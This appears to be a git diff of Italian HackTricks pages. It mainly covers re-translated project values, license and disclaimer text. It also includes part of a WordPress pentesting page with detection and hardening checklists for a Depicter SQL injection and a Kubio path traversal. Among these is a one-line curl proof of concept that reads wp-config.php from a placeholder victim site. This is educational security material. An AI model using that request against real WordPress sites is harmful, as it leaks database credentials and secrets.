Checklist di rilevamento
|
||||
- Eseguire grep per depicter-* action handlers e l'uso diretto di $_GET['s'] o $_POST['s'] in SQL
|
||||
- Rivedere le query personalizzate passate a $wpdb->get_results()/query() che concatenano s
|
||||
|
||||
Rafforzamento
|
||||
- Usare sempre $wpdb->prepare() o i placeholder di wpdb; rifiutare metacaratteri inaspettati lato server
|
||||
- Aggiungere una allowlist rigorosa per s e normalizzare al charset/lunghezza attesi
|
||||
|
||||
---
|
||||
|
||||
## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
|
||||
|
||||
Accettare percorsi controllati dall'attaccante in un parametro template senza normalizzazione/contenimento permette di leggere file locali arbitrari, e talvolta l'esecuzione di codice se file PHP/log includibili vengono caricati a runtime.
|
||||
|
||||
- Parameter: __kubio-site-edit-iframe-classic-template
|
||||
- Flaw: no normalization/allowlisting; traversal permitted
|
||||
- Impact: divulgazione di segreti (wp-config.php), possibile RCE in ambienti specifici (log poisoning, includable PHP)
|
||||
|
||||
PoC – leggere wp-config.php
|
||||
```bash
|
||||
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
|
||||
```
|
||||
Checklist di rilevamento
|
||||
- Qualsiasi handler che concatena path di richiesta in sink include()/require()/read senza verifica di containment con realpath()
|
||||
- Cerca pattern di traversal (../) che raggiungono al di fuori della directory templates prevista
|
||||
|
||||
Hardening
|
||||
- Forzare allowlisted templates; risolvere con realpath() e richiedere str_starts_with(realpath(file), realpath(allowed_base))
|
||||
- Normalizzare l'input; rifiutare sequenze di traversal e percorsi assoluti; usare sanitize_file_name() solo per nomi di file (non per percorsi completi)
|
||||
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
@ -714,5 +854,11 @@ Il server risponde con il contenuto di `wp-config.php`, leaking DB credentials a
|
||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
|
||||
- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
|
||||
- [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/)
|
||||
- [Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/)
|
||||
- [OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability)
|
||||
- [FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability)
|
||||
- [Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability)
|
||||
- [Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-5-1-unauthenticated-local-file-inclusion-vulnerability)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -7,14 +7,14 @@
|
||||
> [!TIP]
|
||||
> Questi sono i **valori del progetto HackTricks**:
|
||||
>
|
||||
> - Dare accesso **GRATUITO** a risorse di **EDUCATIONAL hacking** a **TUTTO** Internet.
|
||||
> - L'hacking riguarda l'apprendimento, e l'apprendimento dovrebbe essere il più gratuito possibile.
|
||||
> - Dare accesso **GRATUITO** a risorse **EDUCATIVE di hacking** per **TUTTA** Internet.
|
||||
> - L'hacking riguarda l'apprendimento, e l'apprendimento dovrebbe essere il più libero possibile.
|
||||
> - Lo scopo di questo libro è servire come una **risorsa educativa** completa.
|
||||
> - **ARCHIVIARE** tecniche di **hacking** straordinarie che la community pubblica dando agli **AUTORI ORIGINALI** tutti i **crediti**.
|
||||
> - **Non vogliamo i riconoscimenti di altre persone**, vogliamo solo conservare trucchi utili per tutti.
|
||||
> - **CONSERVARE** fantastiche tecniche di **hacking** che la community pubblica, dando agli **AUTORI ORIGINALI** tutti i **crediti**.
|
||||
> - **Non vogliamo i meriti di altre persone**, vogliamo solo conservare trucchi interessanti per tutti.
|
||||
> - Scriviamo anche le **nostre ricerche** in HackTricks.
|
||||
> - In diversi casi scriveremo solo **su HackTricks un riassunto delle parti più importanti** della tecnica e **incoraggeremo il lettore a visitare il post originale** per maggiori dettagli.
|
||||
> - **ORGANIZZARE** tutte le tecniche di **hacking** nel libro così che sia **PIÙ ACCESSIBILE**
|
||||
> - In diversi casi scriveremo solo **in HackTricks un riassunto delle parti importanti** della tecnica e **incoraggeremo il lettore a visitare il post originale** per maggiori dettagli.
|
||||
> - **ORGANIZZARE** tutte le tecniche di hacking nel libro così che siano **PIÙ ACCESSIBILI**
|
||||
> - Il team di HackTricks ha dedicato migliaia di ore gratuitamente **solo per organizzare il contenuto** così le persone possano **imparare più velocemente**
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
@ -26,14 +26,14 @@
|
||||
> - **Grazie mille per queste risorse, come posso ringraziarvi?**
|
||||
|
||||
Puoi ringraziare pubblicamente il team di HackTricks per aver messo insieme tutte queste risorse con un tweet menzionando [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
||||
Se sei particolarmente grato puoi anche [**sponsorizzare il progetto qui**](https://github.com/sponsors/carlospolop).\
|
||||
E non dimenticare di **mettere una stella ai progetti su Github!** (Trova i link qui sotto).
|
||||
Se sei particolarmente riconoscente puoi anche [**sponsorizzare il progetto qui**](https://github.com/sponsors/carlospolop).\
|
||||
E non dimenticare di **mettere una stella ai progetti su Github!** (Trova i link sotto).
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Come posso contribuire al progetto?**
|
||||
|
||||
Puoi **condividere nuovi tips e tricks con la community o correggere bug** che trovi nei libri inviando una **Pull Request** alle rispettive pagine Github:
|
||||
Puoi **condividere nuovi suggerimenti e trucchi con la community o correggere bug** che trovi nei libri inviando una **Pull Request** alle rispettive pagine Github:
|
||||
|
||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||
@ -42,16 +42,16 @@ Non dimenticare di **mettere una stella ai progetti su Github!**
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Posso copiare parte del contenuto di HackTricks e metterlo sul mio blog?**
|
||||
> - **Posso copiare del contenuto da HackTricks e metterlo sul mio blog?**
|
||||
|
||||
Sì, puoi, ma **non dimenticare di indicare il/i link specifico/i** da cui il contenuto è stato preso.
|
||||
Sì, puoi, ma **non dimenticare di menzionare il/i link specifici** da cui è stato preso il contenuto.
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Come posso citare una pagina di HackTricks?**
|
||||
|
||||
Finché appare il link della pagina (o delle pagine) da cui hai preso le informazioni, è sufficiente.\
|
||||
Se hai bisogno di un bibtex puoi usare qualcosa del tipo:
|
||||
Finché appare il link **della** pagina(e) da cui hai preso l'informazione è sufficiente.\
|
||||
Se hai bisogno di un bibtex puoi usare qualcosa del genere:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
||||
@ -62,84 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
```
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Posso copiare tutti i contenuti di HackTricks sul mio blog?**
|
||||
> - **Posso copiare tutti gli HackTricks nel mio blog?**
|
||||
>
|
||||
**Preferirei di no**. Questo **non gioverebbe a nessuno** dato che tutto il **contenuto è già pubblicamente disponibile** nei libri ufficiali di HackTricks gratuitamente.
|
||||
|
||||
**Preferirei di no**. Questo **non gioverebbe a nessuno** dato che tutto il **contenuto è già disponibile pubblicamente** nei libri ufficiali di HackTricks gratuitamente.
|
||||
|
||||
Se temi che possa scomparire, fai semplicemente un fork su Github o scaricalo; come ho detto è già gratuito.
|
||||
Se temi che possa scomparire, basta forkare su Github o scaricarlo; come detto, è già gratuito.
|
||||
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Perché avete sponsor? I libri HackTricks sono a scopo commerciale?**
|
||||
> - **Perché avete degli sponsor? I libri HackTricks hanno fini commerciali?**
|
||||
>
|
||||
Il primo **valore** di **HackTricks** è offrire risorse educative di hacking **GRATUITE** a **TUTTO** il mondo. Il team di HackTricks ha **dedicato migliaia di ore** per offrire questo contenuto, nuovamente, **GRATUITAMENTE**.
|
||||
|
||||
Il primo **valore** di **HackTricks** è offrire risorse educative di hacking **GRATUITE** a **TUTTO** il mondo. Il team di HackTricks ha **dedicato migliaia di ore** per offrire questo contenuto, ancora una volta, **GRATUITAMENTE**.
|
||||
Se pensi che i libri HackTricks siano creati per **fini commerciali** ti sbagli **COMPLETAMENTE**.
|
||||
|
||||
Se pensi che i libri HackTricks siano fatti a **scopo commerciale** ti sbagli **COMPLETAMENTE**.
|
||||
Abbiamo sponsor perché, anche se tutto il contenuto è **GRATUITO**, vogliamo dare alla **community la possibilità di apprezzare il nostro lavoro** se lo desidera. Pertanto offriamo alle persone l'opzione di donare a HackTricks tramite [**Github sponsors**](https://github.com/sponsors/carlospolop), e **aziende di cybersecurity rilevanti** possono sponsorizzare HackTricks e inserire **alcuni annunci** nel libro, posizionando gli **annunci** sempre in punti che li rendano **visibili** ma che **non disturbino il processo di apprendimento** se qualcuno si concentra sul contenuto.
|
||||
|
||||
Abbiamo sponsor perché, anche se tutto il contenuto è GRATUITO, vogliamo **offrire alla community la possibilità di apprezzare il nostro lavoro** se lo desiderano. Perciò, offriamo alle persone la possibilità di donare a HackTricks tramite [**Github sponsors**](https://github.com/sponsors/carlospolop), e **aziende di cybersecurity rilevanti** per sponsorizzare HackTricks e **avere qualche annuncio** nel libro, con gli **annunci** sempre posizionati in punti che li rendono **visibili** ma che **non disturbano il processo di apprendimento** se qualcuno si concentra sul contenuto.
|
||||
|
||||
Non troverai HackTricks pieno di annunci fastidiosi come altri blog con molto meno contenuto di HackTricks, perché HackTricks non è fatto a scopo commerciale.
|
||||
Non troverai HackTricks pieno di annunci fastidiosi come altri blog con molto meno contenuto, perché HackTricks non è fatto per fini commerciali.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **Cosa devo fare se qualche pagina di HackTricks è basata sul mio post del blog ma non è referenziata?**
|
||||
|
||||
**Ci dispiace molto. Questo non sarebbe dovuto accadere**. Per favore, faccelo sapere via Github issues, Twitter, Discord... il link della pagina HackTricks con il contenuto e il link del tuo blog e **verificheremo e lo aggiungeremo il prima possibile**.
|
||||
> - **Cosa devo fare se una pagina di HackTricks è basata su un mio post del blog ma non è referenziata?**
|
||||
>
|
||||
**Ci dispiace molto. Questo non dovrebbe essere successo**. Per favore, faccelo sapere tramite Github issues, Twitter, Discord... il link della pagina HackTricks con il contenuto e il link del tuo blog e **lo controlleremo e lo aggiungeremo il prima possibile**.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **Cosa devo fare se c'è contenuto del mio blog in HackTricks e non voglio che sia lì?**
|
||||
|
||||
> - **Cosa devo fare se c'è contenuto del mio blog in HackTricks e non voglio che ci sia?**
|
||||
>
|
||||
Nota che avere link alla tua pagina in HackTricks:
|
||||
|
||||
- Migliora la tua **SEO**
|
||||
- Il contenuto viene **tradotto in più di 15 lingue**, rendendo possibile a più persone accedere a questo contenuto
|
||||
- **HackTricks incoraggia** le persone a **controllare la tua pagina** (diverse persone ci hanno riferito che da quando una loro pagina è in HackTricks ricevono più visite)
|
||||
- Il contenuto viene **tradotto in più di 15 lingue** permettendo a più persone di accedere a quel contenuto
|
||||
- **HackTricks incoraggia** le persone a **visitare la tua pagina** (diverse persone ci hanno segnalato che da quando una loro pagina è su HackTricks ricevono più visite)
|
||||
|
||||
Tuttavia, se desideri comunque che il contenuto del tuo blog venga rimosso da HackTricks, faccelo sapere e provvederemo sicuramente a **rimuovere ogni link al tuo blog** e qualsiasi contenuto basato su di esso.
|
||||
Tuttavia, se vuoi comunque che il contenuto del tuo blog sia rimosso da HackTricks, comunicacelo e provvederemo sicuramente a **rimuovere ogni link al tuo blog**, e qualsiasi contenuto basato su di esso.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **Cosa devo fare se trovo contenuti copiati/incollati in HackTricks?**
|
||||
>
|
||||
Noi **diamo sempre tutti i crediti agli autori originali**. Se trovi una pagina con contenuti copiati senza la fonte originale referenziata, faccelo sapere e provvederemo o a **rimuoverla**, o a **inserire il link prima del testo**, o a **riscriverla aggiungendo il link**.
|
||||
|
||||
Diamo sempre **tutti i crediti agli autori originali**. Se trovi una pagina con contenuto copiato/incollato senza la fonte originale referenziata, faccelo sapere e provvederemo o a **rimuoverla**, o **aggiungere il link prima del testo**, o **riscriverla aggiungendo il link**.
|
||||
|
||||
## LICENZA
|
||||
## LICENSE
|
||||
|
||||
Copyright © Tutti i diritti riservati salvo diversa indicazione.
|
||||
|
||||
#### Riepilogo della licenza:
|
||||
#### Riassunto della licenza:
|
||||
|
||||
- Attribuzione: Sei libero di:
|
||||
- Condividere — copiare e ridistribuire il materiale in qualsiasi mezzo o formato.
|
||||
- Adattare — remixare, trasformare e sviluppare il materiale.
|
||||
- Share — copiare e ridistribuire il materiale in qualsiasi mezzo o formato.
|
||||
- Adapt — remixare, trasformare e creare opere derivate dal materiale.
|
||||
|
||||
#### Termini aggiuntivi:
|
||||
|
||||
- Contenuti di terze parti: Alcune parti di questo blog/libro possono includere contenuti provenienti da altre fonti, come estratti da altri blog o pubblicazioni. L'uso di tali contenuti viene effettuato secondo i principi del fair use o con il permesso esplicito dei rispettivi detentori del copyright. Si prega di fare riferimento alle fonti originali per informazioni specifiche sulla licenza riguardante contenuti di terze parti.
|
||||
- Autorialità: Il contenuto originale creato da HackTricks è soggetto ai termini di questa licenza. Sei incoraggiato ad attribuire questo lavoro all'autore quando lo condividi o lo adatti.
|
||||
- Third-Party Content: Alcune parti di questo blog/libro possono includere contenuti provenienti da altre fonti, come estratti da altri blog o pubblicazioni. L'uso di tali contenuti avviene sotto i principi del fair use o con il permesso esplicito dei rispettivi detentori dei diritti d'autore. Si prega di fare riferimento alle fonti originali per informazioni specifiche sulla licenza relative ai contenuti di terze parti.
|
||||
- Authorship: Il contenuto originale redatto da HackTricks è soggetto ai termini di questa licenza. Sei incoraggiato ad attribuire questo lavoro all'autore quando lo condividi o lo adatti.
|
||||
|
||||
#### Esenzioni:
|
||||
|
||||
- Uso commerciale: Per richieste relative all'uso commerciale di questo contenuto, contattami.
|
||||
- Commercial Use: Per richieste riguardanti l'uso commerciale di questo contenuto, contattami.
|
||||
|
||||
Questa licenza non concede alcun diritto sui marchi o sul branding in relazione al contenuto. Tutti i marchi e il branding presenti in questo blog/libro sono proprietà dei rispettivi proprietari.
|
||||
Questa licenza non concede alcun diritto relativo a marchi o branding in relazione al contenuto. Tutti i marchi e i brand presenti in questo blog/libro sono proprietà dei rispettivi proprietari.
|
||||
|
||||
**Accedendo o utilizzando HackTricks, accetti di rispettare i termini di questa licenza. Se non sei d'accordo con questi termini, per favore non accedere a questo sito.**
|
||||
|
||||
## **Esclusione di responsabilità**
|
||||
|
||||
> [!CAUTION]
|
||||
> Questo libro, 'HackTricks', è destinato esclusivamente a scopi educativi e informativi.
|
||||
> Questo libro, 'HackTricks', è pensato esclusivamente per scopi educativi e informativi. Il contenuto di questo libro è fornito "così com'è", e gli autori e gli editori non forniscono alcuna dichiarazione o garanzia di alcun tipo, espressa o implicita, circa la completezza, accuratezza, affidabilità, idoneità o disponibilità delle informazioni, dei prodotti, dei servizi o delle immagini correlate contenute in questo libro. Qualsiasi affidamento su tali informazioni è quindi strettamente a tuo rischio.
|
||||
>
|
||||
> Il contenuto di questo libro è fornito 'così com'è', e gli autori e gli editori non rilasciano alcuna dichiarazione o garanzia di alcun tipo, espressa o implicita, riguardo alla completezza, accuratezza, affidabilità, idoneità o disponibilità delle informazioni, dei prodotti, dei servizi o delle grafiche correlate contenute in questo libro. Qualsiasi affidamento che fai su tali informazioni è quindi a tuo esclusivo rischio.
|
||||
> Gli autori e gli editori non saranno in alcun caso responsabili per qualsiasi perdita o danno, inclusi, senza limitazione, perdite o danni indiretti o consequenziali, o qualsiasi perdita o danno derivante da perdita di dati o profitti risultanti dall'uso di questo libro o in connessione con esso.
|
||||
>
|
||||
> Gli autori e gli editori non saranno in alcun caso responsabili per qualsiasi perdita o danno, inclusi, senza limitazione, perdite o danni indiretti o consequenziali, o qualsiasi perdita o danno derivante dalla perdita di dati o profitti derivanti da, o in connessione con, l'uso di questo libro.
|
||||
> Inoltre, le tecniche e i suggerimenti descritti in questo libro sono forniti a scopo educativo e informativo e non devono essere utilizzati per attività illegali o malevole. Gli autori e gli editori non approvano né supportano attività illegali o non etiche, e qualsiasi uso delle informazioni contenute in questo libro è a rischio e discrezione dell'utente.
|
||||
>
|
||||
> Inoltre, le tecniche e i consigli descritti in questo libro sono forniti a scopo educativo e informativo e non devono essere utilizzati per attività illegali o dannose. Gli autori e gli editori non avallano né supportano attività illegali o non etiche, e qualsiasi uso delle informazioni contenute in questo libro avviene a rischio e discrezione dell'utente.
|
||||
> L'utente è l'unico responsabile per qualsiasi azione intrapresa sulla base delle informazioni contenute in questo libro, e dovrebbe sempre cercare consulenza e assistenza professionale quando tenta di implementare qualsiasi tecnica o consiglio qui descritti.
|
||||
>
|
||||
> L'utente è l'unico responsabile per qualsiasi azione intrapresa sulla base delle informazioni contenute in questo libro e dovrebbe sempre cercare consulenza e assistenza professionale quando tenta di implementare una qualsiasi delle tecniche o dei consigli qui descritti.
|
||||
>
|
||||
> Utilizzando questo libro, l'utente accetta di sollevare gli autori e gli editori da qualsiasi responsabilità per danni, perdite o pregiudizi che possano derivare dall'uso di questo libro o di qualsiasi delle informazioni in esso contenute.
|
||||
> Utilizzando questo libro, l'utente accetta di sollevare gli autori e gli editori da qualsiasi e tutta responsabilità e responsabilità per eventuali danni, perdite o danni che potrebbero derivare dall'uso di questo libro o di qualsiasi informazione in esso contenuta.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user